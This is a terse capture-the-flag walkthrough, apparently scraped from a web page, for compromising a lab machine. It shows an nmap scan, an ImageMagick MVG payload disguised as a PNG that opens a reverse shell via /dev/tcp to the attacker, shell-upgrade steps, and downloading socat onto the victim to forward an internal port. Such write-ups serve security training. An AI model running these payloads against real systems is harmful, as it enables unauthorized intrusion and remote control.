Copy nmap -sV -sT -O -p 1-65535 $VICTIM After trying to login with anonymous it delays but after some time it finally logs in with the below message. The link below gives us some hints on what to do next.
Copy push graphic-context
encoding "UTF-8"
viewbox 0 0 1 1
affine 1 0 0 1 0 0
push graphic-context
image Over 0,0 1,1 '|/bin/sh -i > /dev/tcp/$KALI/1337 0<&1 2>&1'
pop graphic-context
pop graphic-context
Copy cp revshell.txt revshell.png
Copy python3 -c 'import pty; pty.spawn("/bin/bash")'
ctrl + Z
stty raw -echo;fg Port Forwarding & Finding Flag
Copy ss -ltp
curl localhost:6666
Copy wget https://github.com/aledbf/socat-static-binary/releases/download/v0.0.1/socat-linux-amd64
python2 -m SimpleHTTPServer 81
Copy cd /tmp
wget http://$KALI:81/socat-linux-amd64
chmod +x socat-linux-amd64
./socat-linux-amd64 tcp-listen:7777,reuseaddr,fork tcp:localhost:6666 
